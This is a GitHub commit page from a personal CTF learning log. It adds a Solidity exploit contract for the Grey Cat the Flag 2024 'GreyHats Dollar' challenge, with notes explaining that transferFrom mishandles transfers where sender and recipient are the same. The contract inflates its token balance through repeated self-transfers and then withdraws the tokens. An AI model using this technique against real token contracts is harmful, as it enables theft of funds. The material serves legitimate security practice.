Skip to content

Commit

Permalink
Add day24 of doublespending
Browse files Browse the repository at this point in the history
  • Loading branch information
doublespending committed Sep 21, 2024
1 parent 082711d commit 27d7987
Show file tree
Hide file tree
Showing 2 changed files with 41 additions and 0 deletions.
31 changes: 31 additions & 0 deletions Writeup/doublespending/day24/greyhats-dollar.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.15;

import { Setup } from "src/greyhats-dollar/Setup.sol";

contract Exploit {
Setup setup;

constructor(Setup _setup) {
setup = _setup;
}

function solve() external {
// Claim 1000 GREY
setup.claim();

// Mint 1000 GHD using 1000 GREY
setup.grey().approve(address(setup.ghd()), 1000e18);
setup.ghd().mint(1000e18);

// Transfer GHD to ourselves until we have 50,000 GHD
uint256 balance = setup.ghd().balanceOf(address(this));
while (balance < 50_000e18) {
setup.ghd().transfer(address(this), balance);
balance = setup.ghd().balanceOf(address(this));
}

// Transfer all GHD to msg.sender
setup.ghd().transfer(msg.sender, balance);
}
}
10 changes: 10 additions & 0 deletions doublespending.md
Original file line number Diff line number Diff line change
Expand Up @@ -356,4 +356,14 @@ B: [EthTaipei CTF 2023](https://github.com/dinngo/ETHTaipei-war-room/)(5)
- We should find a way to distinguish the two sequential static call. - We can use `gasleft()`
- We can find a value `i` - `gasleft() % i == 0` in the first call - `gasleft() % i != 0` in the second call
### 2024.09.21
B: [Grey Cat the Flag 2024 Milotruck challs](https://github.com/MiloTruck/evm-ctf-challenges) (6)
- GreyHats Dollar
- The share finally updates at this [line](https://github.com/MiloTruck/evm-ctf-challenges/blob/a385836e1e83543b06ff3b8108cf962f4d74a49d/src/greyhats-dollar/GHD.sol#L133)
- `transferFrom` has not consider the case that `from` equals to `to`.
- At this case, we get [`shares[to=from] = origin + _shares`](https://github.com/MiloTruck/evm-ctf-challenges/blob/a385836e1e83543b06ff3b8108cf962f4d74a49d/src/greyhats-dollar/GHD.sol#L133)
- However, the share is expected unchanged.
<!-- Content_END -->

0 comments on commit 27d7987

Please sign in to comment.